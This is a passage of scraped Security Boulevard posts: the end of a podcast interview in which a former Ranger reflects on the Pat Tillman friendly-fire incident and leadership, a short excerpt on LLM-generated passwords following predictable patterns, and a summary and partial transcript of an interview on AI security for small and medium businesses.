Because I think that’s the other thing that is true in life, but certainly true in business and very much true in military operations: the enemy gets a vote. Meaning, the process you go through to plan for an operation—the value in that isn’t so much that you have a perfect, tailored, flawless plan. You know that plan is going to be subverted in some way, shape, or form. You’re going to get there and what you thought was on target isn’t on target, or an airplane’s going to break, or something’s going to happen. If that “something is going to happen” is just baked into the expectation, then the planning value is primarily about the process.

It’s primarily about the fact that, okay, I know things are probably going to go sideways in a way that I don’t even know they’re going to go. Nobody does. But we’ve gone through this process together collectively. I generally know where people are. I generally know what’s supposed to happen. I certainly know what the objective is. So that makes you more equipped. Knowing those pieces of information about the plan actually equips you for the inevitability of things going sideways because then you have the right data set, hopefully, to then be able to make decisions in the moment that were nowhere in your plan.

I was not in a senior leadership position at all. I was very much somebody in the line. But from regimental commander down to a Ranger private, in order for that unit to function, you still have to have buy-in and competency and everyone doing their job to the best of their ability, regardless of the rank on their collar. I definitely had a lot of experience learning that in an environment where if you don’t learn it quickly, the retribution is pretty swift. They will help you learn it very quickly.

David Redekop: Defense always before offense. There’s just like that analogue comparison to the cyber world. There’s many others. Now, sometimes I know that when we take an offensive approach and we have all circumstantial data that points to what we need to do, we can still make mistakes. Did you have any experiences like that in your life in the Army?

Steven Elliott: Yeah, very much so. Back in 2004, when we were deployed to the Afghan-Pakistan border, it was sort of an in-between phase in the war where the initial objective to eradicate the Taliban had more or less been accomplished. The Taliban was a non-entity in Afghanistan at the time, but there was still this mission to find Osama bin Laden, who had fled to Pakistan. We couldn’t go into Pakistan. So we were sort of left at that time with, if you’re going to do that, you would continue to deploy troops forward, hoping to run into him or run into somebody who knew where he was.

We were doing raids and patrols in Khost Province. Depending on whose Garmin you were looking at, we were in Pakistan some days because that border is not super defined. But that’s where we were. One particular incident occurred where essentially our platoon, which is about 35 guys, was asked to do two things simultaneously, and neither of them were mission-critical. Neither of them were time-sensitive. But because the order was given at the objection of our platoon leader, who was the person on the ground qualified to lead the platoon—he had a lot of experience he had to have in order to be in that role—he gave alternatives to say, “Well, if you want to accomplish X, we can do that, but I don’t have to split the platoon to do that. If I split the platoon, the platoon can’t talk to each other because the radios are line-of-sight; they’re not going to work in the mountains. If I split the platoon, I split the combat power.”

There are just a lot of things where, what I was talking about before, you’re already doing something that’s risky, so you need to find ways to de-risk it whenever possible and certainly not make decisions that make your organization inherently more fragile. But he was overruled and our platoon was split to do two different things. There was not a whole lot of happiness about that within the ranks. We all knew that this was kind of dumb, what we were being asked to do and the constraints of time that were being put around it.

To make a long story short, our element of the platoon was passing through a very narrow canyon, and we were ambushed. We were lucky to make it out of that particular kill zone. As we came out of it, there were more muzzle flashes on the hillside, and it appeared that we were being fired at by an enemy force. The leader on our vehicle fired, and then three others of us also fired. We were the first vehicle coming out of the canyon. Based on the information you have, you think, “Well, that’s an enemy position. Clearly, if I don’t fire, potentially somebody pops up and shoots somebody behind me.” In a very short amount of time—a matter of seconds—you make that decision.

Come to find out—we knew all this the following day—those muzzle flashes and the folks that we saw were at dusk. We didn’t have night vision because it wasn’t quite dark enough for night vision, but also the lighting conditions were poor. We’d been in a canyon shooting our weapons for 15 minutes, so we couldn’t hear anything. In any case, the rounds that we fired at the very end of that ambush were on the other half of the platoon. We had four casualties: 2 Kilo [Killed in Action] and 2 wounded. All that was as a result of friendly fire.

It’s certainly not common, but it’s not uncommon. It’s certainly something that more often than not literally gets covered up within the military because it’s not fun to talk about. Usually, when you have a friendly fire incident, it’s not just the decision that a shooter or a pilot makes in the instant that is the problem, although that’s part of it. It’s also why they were in that position in the first place? Why was the platoon split? Why couldn’t they talk to each other? Why was the risk amplified? Was that necessary?

It was certainly a lesson. We debriefed it and gave our statements. It was unequivocally known by everybody that it was friendly fire within 24 hours. There was no cover-up on our part. We were back out doing raids shortly thereafter until we came home. But that incident on multiple levels offers a lot of lessons. One of them is, at the very least, just from a leadership standpoint: it’s really easy when we get scared or when we get insecure and we just want to make things happen because if that box is checked on my list, that will quell my anxiety and I’ll just feel better that something’s happening.

Another saying in the world that I inhabited was “don’t be in a hurry to die.” Especially in that context, fight or flight kicks in. Your job is not to—and this is true in I think any leadership role, whether you’re a parent, a business leader, whatever role where you’re exercising some leadership in a world that is uncertain and has risk—oftentimes your first instinct isn’t necessarily the right one. It could be, but time is probably the most valuable resource any of us have.

We see that in the financial markets. If I want to buy an option on Apple, the price of that option for three years is going to cost me a lot more money than the price for three days because I have time. There’s time for something to happen. Part of the lesson there is, as a leader, number one, you have to trust the people you’ve hired. If you’re sitting not on the battlefield and somebody who is on the battlefield is saying, “This is a really bad idea,” you either need to listen to them or, if you’re not going to listen to them, then you should probably fire them. Why are they there? If they can’t exercise the authority that they’ve been given, then that’s the markings of some level of dysfunction. That was unfortunately part of the failure of that day—just a situation that was unnecessarily created where the risk was heightened.

Then you have to live with—I mean, that’s the reality too. It’s not simply to sit and blame an officer who’s in a TOC [Tactical Operations Center] someplace. You’re the one there; you’re the one who pulled the trigger. It’s also just a lesson in—it’s oversimplification to some degree, but—it really is just a lesson in forgiveness. It’s a lesson in the idea that—and that’s very severe; most people are not going to be in that situation. I’m not going to be in that situation just living my life every day right now when I’m not in the military. But it definitely illustrates the fact that, try as you might, things on some order of magnitude will go wrong.

There’s going to be a need in life to forgive yourself and forgive others because if you don’t do that—and it doesn’t mean that forgiveness means the thing didn’t happen and you just pretend like it didn’t. Forgiveness doesn’t mean that there isn’t remorse. Forgiveness doesn’t mean that you don’t need to apologize to other people. It doesn’t mean that that doesn’t need to occur; it absolutely does. But essentially, if you don’t do that, then—another saying that certainly rings true in my life—“unforgiveness is like drinking the poison expecting it to hurt your enemy.”

I think that’s true from my own experience. I carried around a lot of guilt, a lot of shame, and a lot of just pure hatred for people who put us in that situation because even the objectives—it wasn’t like “split the platoon because Osama bin Laden’s over here and another terrorist is over here and you’ve got to go get them.” That’s one thing, but that’s not what this was. You look at that and you say, “Well, this was pointless. What do we have to show for it?”

That’s a process that doesn’t happen overnight in terms of healing from that. But there’s been a lot of really great things that have happened in spite of that tragic event. I think maybe the other lesson too is allow yourself to be surprised. When things like that happen—when the worst, whatever that is, happens: your business fails, your marriage falls apart, the diagnosis comes through that you don’t know what you’re going to do with—that isn’t the end of the story, even though it feels like it. It feels like the weight has been [too much], the door has been clamped shut, and that’s it. The reality is I don’t think that’s ever true.

I’ve experienced that over the last 20 years. This last fall, I got to spend a few days with my former platoon mates. We had a reunion at Fort Lewis. The current members of our platoon hosted us, which—man, if you want to feel old, go back and see 21-year-olds who are fired up and super fit and ready to conquer the world. Really, really great guys. But then you sit with people that, if you would have told me even five years ago that I would be sitting and hanging out with some of these guys… just because there was so much pain and so much weight that was associated with that event. It wasn’t even so much that we hated each other or something; it was just more like, “Man, the thing we have in common is really not great, and I don’t know if I want to revisit that.” Maybe that wouldn’t have been right 5 years ago or 10 years ago, but in the fullness of time, it was.

What I’m saying is that there’s always hope and there’s always hardship. Hope is not a panacea that says things aren’t going to be hard and you’re not going to suffer or other people aren’t going to suffer. You will. I mean, you just will. That suffering takes many different forms. But there are definitely things to learn in the midst of that. There are growth opportunities in the midst of that.

I think that even parlays into our journey together at Adam Networks. If we were writing the story, we have this powerful technology and we have this great team—well, this should have been immediately adopted by everybody five years ago. It’s like, that’s not the story. The story is much harder, to kind of walk that path, but that’s actually good. Because the point isn’t X number of dollars in ARR. The point isn’t an exit at some valuation multiple. The point is to actually grow as humans, to have our character be developed and to serve others.

All of the efficiencies that we are growing in and continuing to establish and all of the growth that we are experiencing is great, but that’s actually a byproduct. That’s not the point. The point is the relationships within our team and the point is the relationships with the people that we get to serve. If that’s what we’re focused on, and we work with good people that we trust, then a lot of these other problems—i.e., authoritarian leadership that makes dumb decisions that you have to try and work with—become a lot less likely if you’re actually listening to your team because you have a relational baseline that’s positive. Then you’re a lot less likely to find yourself in that scenario where bad things happen because we didn’t listen.

That can still be true, but all of that has definitely… it’s not a journey that I would choose if I could. Even if I say all this today, I sound maybe more enlightened than I am on a podcast episode. I still struggle with it. There are still times where I think back at either that incident or just other things in my life—of people who have hurt me or things that I’m not proud of—and there’s still a temptation and opportunity to pick those things up again. We just don’t have to do that. But that also doesn’t mean that to forgive, to learn, to move on… it doesn’t mean that you don’t have to make amends sometimes because that’s part of the process too: acknowledging the truth. If you were part, even unwittingly, of harming someone else, you’ve got to own that. That’s part of that person’s healing and it’s part of yours, right?

There have been a lot more learning opportunities than I’ve necessarily volunteered for. But that’s also kind of the way it goes, I think, in life, too. When you sign up for something big—however you define that: you start a business, you get married, you have kids, you join the military—you’re never going to know what you’re signing up for. I mean, think about it: be deliberate, do all the things that you can to understand the choice that you’re making, but at the end of the day, you really don’t know how it’s going to go until you’re in the middle of it.

That’s why that forgiveness and resilience piece is so important because that’s going to enable you to function in the midst of a world that is pretty messed up a lot of times and doesn’t work the way we want it to work. Increasingly, I view that as a feature, not a bug. That’s just… I don’t get [upset]. If I walk into a situation that’s dysfunctional, 15 or 20 years ago I would have spent a certain amount of time thinking, “Can you believe it? Can you believe how this is operating? Can you believe that?” Now I’m just shocked when something works, just because I understand how hard it is to make stuff work. I understand how fragile we are as human beings. So there’s a lot more compassion, a lot more patience. I have the scar tissue from my own impatience where I’ve been like, “This has to work and this has to do that.” It’s just like, look, let’s just take a breath. It’s okay. So that’s been part of my journey certainly and kind of how the military has intersected with that.

David Redekop: Wow. No wonder you’ve brought so many defensive thought patterns to the company, and we’re grateful for that. But one of the things that makes things very, very real for me is when real human lives are at stake. That is why your story is so touching. One of those casualties was Pat Tillman. Not that Pat has any more human value than someone who wasn’t a public personality, but that must have brought on a whole new level of pressure that wouldn’t have been the case if he was an unknown personality. But Pat was known, not just in the US as a football hero, but in Canada and the rest of the world that watches football. Would it have been significantly different if the casualties had not been a public personality at all?

Steven Elliott: You wouldn’t even know about it. I mean, I know other people within that same world who have come to me over the years—they came to me privately and told me of… again, it’s not common but it happens. They’ve told me of friendly fire incidents that as far as anybody knows, aren’t. Because it takes a lot for an organization to admit a mistake, and especially an organization like the Ranger Regiment—insert whatever unit that kind of has a persona to protect. We’re supposed to be superhuman, but we all make mistakes.

Again, that’s a fragile mindset because that’s your mindset as a human, as a CEO, as a CFO, as a whatever. It’s like, “All right, I’m prepared and I’m going to just nail it and I’m going to be perfect.” You are going to be sorely disappointed and you’re going to be very fragile. You’re not going to know how to deal with failure that will inevitably come and disappointment that will inevitably come.

Yeah, I mean, we didn’t know. I knew Pat played in the NFL. I wasn’t close with him. I saw him most days because his brother and I were in the same squad, so I worked very closely with Pat’s brother, Kevin. Both of them were just great guys in the formation. They did their job, kept their mouth shut, treated everyone with respect, and everyone in the platoon, including the leadership, loved working with them. They didn’t bring an ounce of any sort of prima donna mindset to their work.

I just knew him as him, a guy that I worked with. It wasn’t until I got back from Afghanistan that one of the guys in our platoon, who hadn’t deployed (I think he was at another school), had gotten us all copies of Sports Illustrated and Pat was on the cover. That was the first moment when I saw it. It was just like, “Ah, okay.”

It was a weird time too because it was an in-between time in the war but also an in-between time in terms of the internet. We didn’t have social media; we didn’t have the modalities of communication that we have today. You had the internet, so news was traveling, but it was still pretty analog. So his [identity]—who he was prior to the Army—definitely created a firestorm of attention around the incident.

That’s the other kind of lesson from a leadership standpoint. We gave statements; there was no question that it was friendly fire. Our platoon sergeant walked the battalion commander through the site the following day and said, “Sir, it was friendly fire.” That was made abundantly clear, but then other leaders higher up the food chain made the decision to spin a different narrative that they thought would be more palatable to the unit, to themselves potentially.

That made it an even bigger thing than it would have been. Now you have this idea of a military cover-up where the country is told on ESPN at a memorial service that he was killed by enemy fire, which I didn’t watch (I was in country). But once that lie unravels, all sorts of other speculations and questions get thrown into the mix.

That’s the other leadership lesson: bad news does not get better with age. The more sensitive and the more negative a situation is, the more imperative it is that you are truthful, imperative it is that you are transparent. If there is something about the situation that you honestly don’t know, “I don’t know” is an acceptable answer. That was not handled well by a number of senior leaders within the Army and the Pentagon, and the people who paid the price for that were Pat’s family primarily, and us to a lesser degree.

It’s also just a function, I think, of a society looking for something to look up to. Then it also becomes kind of a rumination on fame, on celebrity. I think today Pat is a symbol, which… I’m not necessarily opposed to that. It’s just the danger of turning a human into a symbol is that you get to project upon that symbol whatever you want. Pick a political issue: you have his name invoked on one side of the issue (“if he was here, he would do and say this”) and then you have his name invoked on another side of the issue (“if he was here, he would do and say this”). At the end of the day, we don’t know because he’s not here. But that’s tempting in a world where people are looking for meaning; they’re looking for something to hold on to. So yeah, it definitely made it a much more challenging, much more public sort of thing to walk through, for sure.

David Redekop: I can’t even imagine, Steven. I have so many thoughts and so many lessons out of that. People can draw their own conclusions and I know we’re going to be benefiting from your experience for years to come. Thank you for writing a book on this. I will include it in the show notes: War Story. Our son Silas is a very proud owner of a signed copy, as am I. He was very excited to meet you. Thank you for what you’ve done, serving in the best way that you knew how to. That’s really a heritage that you and I have in common with our parents and grandparents and the ones that went before them: that they really served the best way that they knew how. That intent and that value system was successfully transferred to you. For that, we are all benefactors.

Those of you that are hearing or watching this and are seeing some of the characteristics that Steven has just shared in our organization now, you have an idea where they come from. We know that we can make mistakes and we have all made plenty of them. But being truthful about them has been at the core of Steven’s voice anytime. When you’re in cyber and you do make mistakes, or you make a claim that was true at the time you made it but then later on becomes questionable, that is something that you have to address.

We’re right in the middle of one of those right now. Over the next 90 days, there’s some really interesting things that are happening in cyber. So your voice will be very important in this as well, Steven. I’m not trying to be mysterious about anything, but it has to do with how internet traffic is being disguised as something other than what it is in a way that many big tech organizations can’t do anything about. It has to do with ad fraud. Oh my goodness, the story is so complex, but we’re going to unravel it together. We’re going to be truthful about it 100% and present it from every angle. We actually delayed our recording because we’re right in the middle of the weeds for that. Steven, I really appreciate your time today. Is there any remaining piece of wisdom that you would really like our team or audience to hear from you?

Steven Elliott: I don’t know. I think one thing I’ve been thinking about… AI is kind of dominating the conversation in all facets of life. Long and short of it is, we know that it’s important. We know it’s going to transform things, but we don’t know how. We’re not going to know how anymore than we knew how the internet was going to transform things in the year 2000. We knew it was big, we knew it was important, but how that was going to work itself out kind of remained to be seen.

It’s more of an encouragement; I’m probably just talking to myself as much as I am anybody else. It’s just an issue to not be afraid. It’s an invitation to focus on the work that each of us has been given to do—to be aware, to watch and learn and observe. But there are a lot of voices that are telling us, and even organizations that are basically creating metrics on AI usage within their executive and leadership teams: “if you’re not using AI to whatever degree, then you can’t get promoted.” I think that’s stupid; I’ll just say that.

But it comes from a good place that says, “This is a powerful tool. We want you to use it.” I think the challenge for any of us in leadership, particularly in business, particularly in cyber, is to fight for that tactical pause—that moment where I’m getting a lot of information, getting a lot of conflicting things that are telling me “this is going to change everything” or “you don’t have to worry about it” or “if you’re not using it this way, this business is going to die.” All those voices are not helpful.

I think that’s part of our challenge—certainly my challenge in this age: to find a place where I’m aware of what’s going on. I’m not burying my head in the sand. There are ways that AI can improve and amplify my work. By all means, let’s use it. But I think we just have to operate from a place of curiosity and not from a place of fear, because that’s not going to lead… even if you make the right decision from a place of fear, which is unlikely, it’s probably not going to lead to a good outcome. I think that’ll be a perpetual challenge for some time to come because we’re now in the age of AI.

David Redekop: Don’t be in a hurry to die.

Steven Elliott: That’s right.

David Redekop: Because it just might happen if you are too afraid. Oh my goodness, that is so ringing true for me. Thank you for your time today, Steven. Looking forward to our mission work together that we keep on executing on. So, thank you for today.

Steven Elliott: Thank you, David. Yeah, love it. It’s always good to see you.

David Redekop: Likewise. Bye for now.

Steven Elliott: Bye-bye.

David Redekop: The Defender’s Log requires more than a conversation. It takes action, research, and collective wisdom. If today’s episode resonated with you, we’d love to hear your insights. Join the conversation and help us shape the future together. We’ll be back with more stories, strategies, and real-world solutions that are making a difference for everyone. In the meantime, be sure to subscribe, rate, write a review, and share it with someone you think would benefit from it too. Thanks for listening, and we’ll see you on the next episode.

1 post - 1 participant

Read full topic

The post TDL | Defense Before Offense: Leadership, Risk, and the Cost of Bad Decisions | Steven Elliott appeared first on Security Boulevard.

LLMs are bad at generating passwords:

There are strong noticeable patterns among these 50 passwords that can be seen easily:

• All of the passwords start with a letter, usually uppercase G, almost always followed by the digit 7.
• Character choices are highly uneven ­ for example, L , 9, m, 2, $ and # appeared in all 50 passwords, but 5 and @ only appeared in one password each, and most of the letters in the alphabet never appeared at all.
• There are no repeating characters within any password. Probabilistically, this would be very unlikely if the passwords were truly random ­ but Claude preferred to avoid repeating characters, possibly because it “looks like it’s less random”.
  ...

The post LLMs Generate Predictable Passwords appeared first on Security Boulevard.

Summary

In a recent episode of The Defenders Log, host David Redekop sat down with cyber security expert Rafael Ramirez to navigate the rapidly shifting landscape of AI security. As we move deeper into 2026, the duo explored how artificial intelligence has evolved from simple chatbots into powerful, autonomous “agentic” systems.

The Double-Edged Sword of AI

Ramirez uses a striking analogy: AI is like a knife. While it can be a tool for productivity (spreading butter), in the wrong hands or without oversight, it can be destructive. The critical difference today? This “knife” is starting to make its own decisions, making human-centric governance more vital than ever.

The 7 Pillars of SME Security

For small and medium enterprises (SMEs) looking to scale affordably and safely, Ramirez outlines seven core focus areas:

1. Governance: Industry-specific rules for AI use.
2. Data Integrity: Controlling who and what accesses your information.
3. Hygiene: Consistent MFA and patching.
4. Third-Party Risk: Vetting SaaS applications.
5. AI Threat Detection: Using AI to fight AI.
6. The Three T’s: Technology, Trust, and Talent.
7. Incident Response: Preparedness for the inevitable.

The Verdict: People First

Despite the rise of automation, Ramirez insists that Talent remains the most important ingredient. By fostering a “Zero Trust” mindset—never trust, always verify—and prioritizing community service (“Serve before you ask”), organizations can harness AI’s innovation while keeping the “knife” firmly under control.

Full episode of The Defender’s Log here:

Speed, Risk, and Responsibility in the Age of AI | Rafael Ramirez | Defender’s Log

TL;DR

• The Power Shift: Rapid innovation allows a single person using AI agents to compete with 50-person companies, but this speed often outpaces safety policies and laws.
• The 7 Pillars of SME Defense: Success requires a focus on Governance, Data Control, Hygiene (MFA/Patching), Third-Party Risk, AI Threat Detection, People (The 3 T’s: Tech, Trust, Talent), and Incident Response.
• Zero Trust Architecture: Security leaders must adopt a “never trust, always verify” mindset, specifically by using network guardrails to control what AI agents can access both internally and on the open internet.
• The Human Factor: Despite the automation, Talent is the most critical ingredient. The ultimate rule for security professionals is to "serve before you ask.

Links

View it on YouTube: https://www.youtube.com/watch?v=-u0Od3DIpjs

Listen to the episode on your favourite podcast platform:

Apple
https://podcasts.apple.com/us/podcast/speed-risk-and-responsibility-in-the-age-of-ai/id1829031081?i=1000750671716

Spotify
https://open.spotify.com/episode/4kF563bAH2g0HIJSxm7Fno

Amazon Music
https://music.amazon.ca/podcasts/d7aa9a19-d092-42a6-9fe9-9e8d81f68d30/episodes/870c37f4-3753-4c4c-b088-7756fbcf37e1/the-defender%E2%80%99s-log-podcast-speed-risk-and-responsibility-in-the-age-of-ai

ADAMnetworks
https://adamnet.works

The Defender’s Log Full Transcript -Episode 016

David Redekop: What are the major security concerns in artificial intelligence today?

Rafael Ramirez: When I think about small and medium companies or enterprises, I always think about building things that are practical, affordable, and scale them. We’re still focusing on learning how to manage and stabilize assistance.

David Redekop: I really like how you articulated all of the different pillars that are important to take care of AI security.

Rafael Ramirez: AI is like a knife. A knife can be used to spread your butter, but a knife can also be used to murder. But now imagine that the knife makes its own decisions. It decides whether it wants to spread butter on your bread or murder. And now this knife is not a knife that you can control. It’s available everywhere.

Narrator: Deep in the digital shadows, where threats hide behind any random bite, a fearless crew of cyber security warriors guards the line between chaos and order. Their epic battles rarely spoken of until today. Welcome to the defenders log, where we crack open the secrets of top security chiefs, CISOs, and architects who faced the abyss and won. Here’s your host, David Redekop.

David Redekop: Welcome back to another episode of the Defenders Log and I have a really beautiful smiling Raphael Ramirez with me today. Nice to have you, Rafa. How are you?

Rafael Ramirez: Hi, David. Good morning. Happy to be here. An honor to be here with you.

David Redekop: I am so glad you are too. We met the first time at a ski and snowboard event just north of Toronto. And oddly enough, or maybe not oddly, but harmoniously enough, today is another super cold day here at 22 degrees below zero in Celsius. And it’s crazy how cold things can get even though there are people who live in this kind of temperature all around. How are you doing in this cold?

Rafael Ramirez: I’m very good. Some people know that I am a winter guy, but I know today is tough. We need to wear our gloves.

David Redekop: Well, you and I both come from places that are much warmer. And I don’t know if you get this, but I get a lot of questions. Wait a minute. You came from where? And why did you come to the cold Canada? Did you get the same?

Rafael Ramirez: Yes. Yes. I come from a very hot place in Colombia. It’s interesting that basically I don’t like hot places. I like cold places. So, I am one of a kind. That’s why I am here.

David Redekop: Well, I feel the same. As soon as it’s so cold though, like this, then I’m like, “Okay, I am ready now for a little bit of warmth. There’s like a reasonable amount of cold. That’s pretty good.” And then it gets to be too much. And then you want to get back to warmth. But that’s the beautiful thing about being here is that we get the seasonal changes. By the time we have the really hot and humid summer here, I’m ready for fall and then I’m ready for winter and then I’m ready for spring. So, if we’re an optimist, which I peg you as quite the optimist as well, it is one of those things you’re always looking forward to the next season. You’re kind of enjoying the current one, but the next one is just as exciting, right?

Rafael Ramirez: Yes, it is. And looking forward to skiing in this season. So, fortunate enough in next week, I will be skiing maybe with you.

David Redekop: That’s right. I’m going to be there again for this year’s. So I’m very excited about this. By the time this is published, I think that’s the day that you and I will be on the hill. So anybody who’s listening or watching, you can just imagine Rafa and I are enjoying snowboarding and skiing up at Horseshoe Valley. And it’s not like the Rockies, but it’s pretty decent as far as skiing and snowboarding in Ontario, Canada goes, that’s for sure. Raphael, I’m glad that you’re able to join me for a little bit on the podcast here to talk about defense in cyber security, especially as it relates to the wonderful world of AI. But before we do that, tell us a little bit about where you got your start. Did you already get your start in technology before you left Colombia?

Rafael Ramirez: I always say that I was born an engineer and since I was eight years old I was doing all kind of stuff with coding computers—the initial ones: 286, 386, the first Pentium ones. So my start was with coding and then I became an electrical engineer because I was running away from coding. I said I’m going to go into hardware. But then I basically you know how everything changed. Everything becomes about code. I study electronical engineer. I was a network expert for over 19 years being project manager, architect, developer on the network side and managing different kind of projects. And in the last six years, I go deeper in cyber security since I moved here to Canada.

David Redekop: Wow. So when you say you were born an engineer, what was the very first real life engineering work that you did that made it clear that that’s how you were born?

Rafael Ramirez: I start breaking up everything, putting apart everything from Betamax, VHS, video recording, whatever was available at our house. I was trying to figure out how it work and the why it worked like that. So I was very curious and this was something that my mom gave me because she didn’t have the opportunity to be an engineer, but she’s an engineer by design. And so she pushed this on us and I was lucky enough to have many different kind of objects at my house. Even a GPS on the 1990s, it was something that initiated my passion on electronics and everything that is in the technology world.

David Redekop: So when you started disassembling home appliances and stuff, was that something that your parents encouraged or was there like “Rafa not again” kind of responses?

Rafael Ramirez: They encouraged it. My mom was all about building and understanding how electrical things work. So since early stages, I remember having a scientific calculator and start coding on it. HP calculators then came when I was at school. So it was something they encouraged me and I think I never broke something that it was completely broke or that it was like essential to get grounded or something like that. But no, I never remember having issues breaking and putting things into parts.

David Redekop: Right. Do you ever trick your kids with your engineering passions or like playing practical jokes of any kind with them?

Rafael Ramirez: Current ones, yeah, I like sarcasm and double sense of things, but my kids are too small to figure it out. So, they’re still suffering without understanding me.

David Redekop: Well, I have a trick for you that worked wonders for me for years. And now they all know how it works, but for years they didn’t know. So, we had a family iMac in the middle of the kitchen with the kids having their own login, but of course I knew their passwords. And I installed the text-to-speech component on Mac OS. And then I would SSH into their account while they’re in front of it. And then I would use the whisper command, or the say command, I should say, with the voice called whisper. And then they’d be in the middle of doing something. I’d be like, “I’m watching you.” And that was like the computerized voice. They would speak to it and I’d be in the other room and I’d write a response to it. And this was of course to them almost seemed like AI and I just had them going for weeks and months on end. And eventually they figured out that it was only happening when I was nearby. And they made the connection that oh dad’s somehow doing this.

Rafael Ramirez: You made me realize about one thing I did recently. I was seeing my boy play in this game that is called Minecraft. So I was seeing that there were some zombies and things that I didn’t like. So I went in the command line and I remove everything. But a couple days ago he, my kid, came and said like “Dad, something weird is happening. Everyone sees these zombies and things and I don’t see them. It’s like they’re like ghosts for me.” And I didn’t realize that I was basically controlling his side only. Yeah. But his friends were still in the world. So basically they were seeing these things. I had to tell him that I basically somehow tweaked the game. So I have to bring the zombies back. Now that you’re telling that story made me remind about that one. And yes, sometimes you use your skills and sometimes the overcontrolling power doesn’t work.

David Redekop: Right. Our parents, I don’t know about your parents, you know what level of involvement they had with you at a young age. Obviously that encouraged you on the engineering side. My parents were not at all technologically inclined and so I did not have them playing any practical jokes on me that way. But they were also encouraging and I remember getting a Commodore 64 after working for my friend’s dad mowing his lawn for the summer. That was my way of earning a used Commodore 64 and that’s how I got my start in writing code in BASIC back in the day. Wow, it just brings back memories of what we could do back then. My first task was to build a full screen clock. I wanted an analog clock where the second marker moved, right? And to time that and to rewrite the pixels on the screen was really a fascinating logical process to make that and rewrite it. And it was so slow you had to time it so carefully that if you didn’t time it properly as far as redrawing on the screen the clock wouldn’t be accurate. And now when I think about the amount of effort we had to go through for just a single pixel change on the screen versus today, you know what we can do with something like OpenClaw, it’s crazy.

Rafael Ramirez: Yes, a big change from difficult to easier—from some people only managing to everyone managing with their own language.

David Redekop: Right. So at what point did you focus on cyber security as a core competency versus any other aspect of technology? What got you into that place?

Rafael Ramirez: So when I started in cyber security was something that I didn’t plan. Was basically something that came natural as a network engineer; firewalls and IPSs became the daily thing. I was part of this X-Force team in IBM and we were planning and getting prepared for when that day came. I remember WannaCry was around 2016 if I remember correctly when it happened and I flew to IBM Brazil basically to take care of some cyber security issues. But this was something new. It was what we planned in the tabletop exercises. The first thing that we learned is that there was so many things happening that we needed to split the teams—one team for the operations that were solving the things on ground and one team that was basically handling communication. And I don’t think I can set up a day different than that one that I can say that I started going deeply into what we call cyber security. And it was something natural. Then I came to Canada and I study two years in a college of cyber security and then it’s when I went deep into that domain—risk management. And I will say that’s when I got deeper into all of the domains that we now know.

David Redekop: Well, we’re very glad that you did because the amount of leadership that I’ve seen you apply to building a community and the sharing that you’ve done successfully and applying it at work. Canada is very fortunate to have you. How is that working out by the way? How did your immigration story work to Canada?

Rafael Ramirez: Right now I am without a path. So basically I am a temporal worker looking to see how to stay here. We’re waiting for the government with a new initiative that is called temporal residency to permanent residency. But aside of learning French, I don’t have a path right now or a clear view. So, I am living day by day, enjoying Canada, doing my best, raising my Canadian kids here and enjoying what this country can give me. It could be five more months or it can be 50 more years. We never know. But we’re lucky to be here.

David Redekop: Well, for what it’s worth, anybody else who appreciates what Raphael has done, you can check out some of his work on LinkedIn and support him in this journey. Raphael, clearly you are a top talent and we’re glad that you came. So, whoever can help this man stay in Canada, let’s do what we can. He’s on the bleeding edge of what makes technology safe to use. Your children, have they been to your home country to visit?

Rafael Ramirez: Yes, they have been. We don’t go too much because you know we have some security issues in our country currently. But yes, they have been there and they enjoy going to the farm and picking their own coffee.

David Redekop: Oh wow, that’s awesome. What security concerns would you have if you went back to stay or if you were to not have your visa renewed here?

Rafael Ramirez: Yeah, my country is going to a very big change. There is criminality on the raising. My kids have been raised here, so they will be in disadvantage because they don’t have that layer where they can protect themselves. So we will have to basically build it for them. But we’re hoping and we’re very positive and doing everything to stay here in Canada to keep them secure.

David Redekop: Very good. Rafael, let’s talk about AI and security. What are in your mind the major security concerns in artificial intelligence today for small and medium enterprises and even the enterprise itself?

Rafael Ramirez: When I think about small and medium companies or enterprises, I always think about building things that are practical, affordable, and scalable. These companies do not have the same amount of money or even people or talent to invest in this area. I normally focus on seven main things:

1. Governance: Build a level of governance that supports your business; it’s very specific to the industry.
2. Data: Getting the right data, how to access it, and controlling that access.
3. Hygiene: Maintain a really good hygiene called MFA patching and maintaining system up to date.
4. Third Parties: SaaS applications have become one of the critical paths for hackers to get into systems.
5. Thread Detection: AI thread detection, because you cannot fight AI without AI.
6. People (TTT): Technology, Trust, and Talent. Build good awareness and training for your talent.
7. Incident Response: Preparedness for when that day comes to keep your business alive.

David Redekop: Very good. And one of the interesting things that I find about living in the year 2026 is that in all of human history there’s maybe 50 to 100 billion people that have ever lived. Out of those, we have less than 1% that have actually ever experienced a real innovation because innovation happened at a slow pace throughout our history. And yet here we are where you and I and our children are seeing innovation at such an incredibly rapid pace. Up until late last year, AI really was a chatbot that was smarter than chatbots before. And then all of a sudden things changed and now we have OpenClaw, which is unbelievable in my mind. It is equivalent to how life changed for me when I got my first dialup internet connection. And that’s where I feel like we are now again with AI being applied in a way that we’ve never seen before. Do you see it that way?

Rafael Ramirez: Yes, it’s moving fast. For me, it’s a new tool in the technology stack, maybe more risky. It’s bringing capabilities faster that we can consume it and I think that’s where the risk and the challenge is. I think we have never moved as fast in our whole history. Strategies that were not changed every five years are changing every single year. So it’s very challenging for the executive and leaders because as long as you’re applying something, something new is coming and you need to think on how to pivot into that.

David Redekop: Right. We have enterprises that are very cautious to adopt AI in a way where it isn’t going to wreck their business. And on the other extreme, we have startups using automation and OpenClaw with agents that can be set up in a matter of hours. And so you’ve got a little startup company with a single human that can operate many bots and basically compete with an organization of 50 people that took 10 years to build. Is there a way where we’re going to see a major reset because of that rapid innovation?

Rafael Ramirez: It depends how you use the tooling. If you’re putting it in sandboxes and learn about it, I don’t see big risk. Where I see big issues is this tendency of “we can screw it up and it doesn’t matter.” We have seen cloud providers launch applications that are not ready for the public. It’s the same like a knife; it can do very good things in a kitchen used by a chef, but it can do a lot of harm if it’s used outside of that environment.

David Redekop: Right. And when technology advances so much faster than public policy or the laws, we’re creating a delta that’s much larger than it’s ever been before. Those of us that are defenders say, “Wait a minute, we need to do this safely.” That overall trend towards more technology and automation should in the end be a net benefit for human flourishing. Is that what you think as well?

Rafael Ramirez: Oh yes. It’s a new tool that is making us advance 100% faster. You can buy knowledge for a few cents and that have never happened. But that also putting a new layer of pressure in humans because now we are the accountables. Some people do not understand that when you are getting it into a critical process, that’s another animal. Innovation comes from small changes, but AI have changed the mind making people think that they can scale things faster that they should and that’s where the risk lies.

